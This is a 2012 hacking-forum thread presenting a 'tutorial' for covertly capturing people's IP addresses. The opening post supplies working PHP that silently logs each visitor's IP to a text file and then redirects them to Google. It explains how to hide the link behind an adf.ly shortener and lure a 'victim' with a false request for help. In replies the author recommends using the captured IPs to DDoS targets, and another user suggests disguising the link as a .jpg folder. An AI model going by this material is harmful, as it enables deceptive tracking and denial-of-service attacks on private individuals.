Thread: [???\[Tut\] Cool IP Grabbing method. \[Pictures\]???](#)

Badass - July 17, 2012, 3:19 am

Hey guys. I found this method which will let you grab IP's really easily, and you will gain some money doing it! (You will understand later xD)

First set up IP grabber.

Setting up webhost.

First sign up for free webhost. (ex. <http://www.SPAM.com/order.php>)

Then confirm your email.

Go to control panel and click file manager.

Click public_html.

Press "new file"

Copy paste this:

PHP Code

```
<?php
```

```
//redirect the user so they never know they visited your site
```

```
header( 'Location: http://www.google.com/' );
```

```
//Get the ip address of the user
```

```
$ip=$_SERVER['REMOTE_ADDR'];
```

```
//Write the ip to a file
```

```
$myFile = "ip.txt";
```

```
$fh = fopen($myFile, 'a') or die("can't open file");
```

```
$stringData = "$ip\n";
```

```
fwrite($fh, $stringData);
```

```
fclose($fh);
```

```
?>
```

Name it "index.php".

The trick:

Go to adf.ly .

Enter your URL and press "Shrink!"

Then ask your victim if he can help you. Then paste him your adf.ly link and say your only few clicks from next payout or something ;)

Enjoy.

NefariousWHRS - July 17, 2012, 5:44 am

This has been posted several times.

But none the less the thread is nice and the use of pictures is helpful, it has been explained well.

Thank you.

Yugen - July 17, 2012, 6:20 am

Where does there ip get sent to though?
Nevermind i see where it goes.

Dastoks - July 17, 2012, 7:02 am

thanks !! :D
could use it ^^
will try soon

bobbyboy911 - July 17, 2012, 9:21 am

Thanks! I could use something like this...

PriceTag - July 17, 2012, 10:20 am

very old ip grabbing method. thnx tho.

Badass - July 17, 2012, 10:40 am

Didn't know this was so known :(

Well, it works pretty well :)

roni2228 - July 17, 2012, 11:01 am

Works.

Thank you very much.

But, What can I do with my friend's IP?

What that help me their IP?

Badass - July 17, 2012, 12:42 pm

(Jul 17, 2012 11:01 AM)roni2228 Wrote: [\[CITE\]](#) Works.

Thank you very much.

But, What can I do with my friend's IP?

What that help me their IP?

You can ddos it, what means they will disconnect. This is useful in many ways.

Masterharv - July 17, 2012, 12:54 pm

Thankyou for this! Should help me out a treat.

Badass - July 17, 2012, 1:26 pm

(Jul 17, 2012 12:54 PM)Masterharv Wrote: [\[CITE\]](#) Thankyou for this! Should help me out a treat.

Thank you for posting ;) Means alot.

savvymatthew - July 17, 2012, 1:48 pm

Nice and simple i like it.... nice work on the tut.

PriceTag - July 17, 2012, 2:46 pm

:) ye but its np. its very known. but not all know. ?

Rootkits - July 17, 2012, 3:36 pm

i am sorry for noob question, but after i shrink my URL. Do i give that shrinked URL to the one i want

to grab iP?

and where do i see the ip that is grabbed? and also does the victim gotta download that thing on the website?

Cubs - July 17, 2012, 5:10 pm

Thanks for the simple tutorial, but this is mostly conman sense.

Good for people without conman sense!

Bluntmeh - July 17, 2012, 5:14 pm

This is a cool little tutorial thank you for this. I also think I have seen this around before but thank you for the share :).

PriceTag - July 17, 2012, 9:11 pm

and where do i see the ip that is grabbed? and also does the slave gotta download that thing on the website?

Yes when u shirk ur url. give it to the victim to grab their ip. since your doin this by php. once the person visits your link. their ip will get sent to your host>file server on the host u uploaded the php script. and the ip logs should be in a .txt file under (or on top) of your .php script, And to answer your other question. i cant. because what your talkin bout sounds like a java drive by (java applet)

"and also does the slave gotta download that thing on the website?"

Doin this to grab a victims ip. shouldnt require anything for the victim to download. all they simply have to do is. visit the given link.

?

Salman Khan - July 17, 2012, 9:35 pm

is there any way in this by which i can grab ip of FB users?

Zillerz - July 17, 2012, 10:45 pm

haha I love it, took a few minutes of fiddling around trying to find out why it doesnt let me index the stealer part but now it all works like a charm :D

Thanks

Badass - July 18, 2012, 1:19 am

(Jul 17, 2012 09:35 PM)ghanchifarhan Wrote: [\[CITE\]](#) is there any way in this by which i can grab ip of FB users?

Just paste your adf.ly link to them, and you will get their ip to your website. :)

Thanks for all wonderful comments :3

Badass - September 27, 2012, 8:13 am

Bump, so more people may use this :)

7amnDy - September 28, 2012, 5:57 am

you can make a foalder name it anything.jpg

and make new file name it index.php

and put the code inside it !

it's cool tip u can do it

thank u for this !

hagar17 - September 28, 2012, 6:03 am

nice did not know this one thank. will try this later

Badass - September 29, 2012, 12:37 pm

(Sep 28, 2012 06:03 AM)hagar17 Wrote: [\[CITE\]](#) nice did not know this one thank. will try this later
Thanks for posting hagar17.

Please post to keep this thread alive.

vishal91 - September 29, 2012, 11:01 pm

Works cool post bro but unfortunately the IP i get is not pinging but anyway vouch for Badaas

Badass - September 30, 2012, 2:03 am

Thanks for posting! :) So great to see people posting.

Jambo01 - September 30, 2012, 7:08 am

Thank's for posting that trick :-) Really nice

Badass - September 30, 2012, 9:27 am

(Sep 30, 2012 07:08 AM)Jambo01 Wrote: [\[CITE\]](#) Thank's for posting that trick :-) Really nice
Thank you for posting! Bumb hump WumP!

Wolf Gang - September 30, 2012, 10:36 am

Thank you for the release will help alot of people out

Badass - September 30, 2012, 10:51 am

Thank you for posting sir! Now more people will find it!

theDARKNESS127 - September 30, 2012, 8:21 pm

Great tutorial :) this will help a lot of people out

Badass - September 30, 2012, 9:52 pm

Thanks so much for posting. :3 Now people may find this!

TheAlmightyDog - October 4, 2012, 8:55 am

very old ip grabbing method. thnx tho.

Badass - October 4, 2012, 11:02 am

Your welcome. But there's many people who don't know this, and it works really well. :)

Badass - October 21, 2012, 12:32 pm

Keep this thread a live by posting! THANKS!

Mumble - November 7, 2012, 10:05 am

Nice tutorial buddy! :) Thanks for sharing it, I will need it.

Badass - November 7, 2012, 10:05 am

And we're stayin' alive, stayin' alive.

Ah, ha, ha, ha,
Stayin' alive.

Stayin' alive.
Ah, ha, ha, ha,
Stayin' alive.
Well now, I get low and I get high

Bumps.

hackmejava - November 7, 2012, 10:11 am

thanks you... Very clear and good tutorial!
Thanks a lot bro!

Badass - November 7, 2012, 10:17 am

Yay, thanks for positive feedback.
:)

burnflash2558 - November 7, 2012, 2:25 pm

what can i do with his ip? sorry just a noob question?

Badass - November 7, 2012, 2:38 pm

You could DDoS him. (Google "DDoS").

Aura - November 7, 2012, 6:39 pm

I don't see where the slave's IP Address is ... I've been looking into my File Manager, I see the Index.php file but nothing else, no IP related files or else.

Badass - November 7, 2012, 6:45 pm

Did you follow everything in the guide? It should work.

Aura - November 7, 2012, 6:46 pm

(Nov 7, 2012 07:45 PM)Badass Wrote: [\[CITE\]](#) Did you follow everything in the guide? It should work.
Yeah I just didn't shrink the link. I don't know exactly WHERE the IP Address should appear. It should appear in the File Manager under a .txt file right ?

If so well I don't see one.

Badass - November 7, 2012, 6:48 pm

Yeah. There should be new file called "ip.txt".

Aura - November 7, 2012, 6:52 pm

(Nov 7, 2012 07:48 PM)Badass Wrote: [\[CITE\]](#) Yeah. There should be new file called "ip.txt".
Here's what appear when I click on my link :

[IMG]<http://i1260.photobucket.com/albums/ii569/Aurakal/IndexOf.png>[/IMG]

And here's what's inside the file manager :

[IMG]<http://i1260.photobucket.com/albums/ii569/Aurakal/FileManager.png>[/IMG]

Badass - November 7, 2012, 6:56 pm

You need to upload the files to "public_html" :D

Aura - November 7, 2012, 7:07 pm

(Nov 7, 2012 07:56 PM)Badass Wrote: [\[CITE\]](#) You need to upload the files to "public_html" :D

It worked, thanks :D

The thing is when I used the IP in an IP info finder site, it redirected me to a random city, not the city of the slave :/

Badass - December 5, 2012, 10:02 am

Bumps! Let's get this topic back up, as this is quite cool method!

Alexchaos - December 5, 2012, 10:33 am

Thank you! Will help me greatly! Great tut btw. :)

Cr0n0x - December 5, 2012, 10:35 am

hmmh good idea but is a good funktion ;)

Kannon - December 5, 2012, 12:02 pm

Thankyou for this! Should help me out a treat.

Badass - December 5, 2012, 12:15 pm

You all are very welcome. Thank you for posting fellows.

TheCl0wnhelper - December 5, 2012, 1:51 pm

Posting in your thread , will be trying this later. Thanks for the tut :0

Badass - December 29, 2012, 5:08 pm
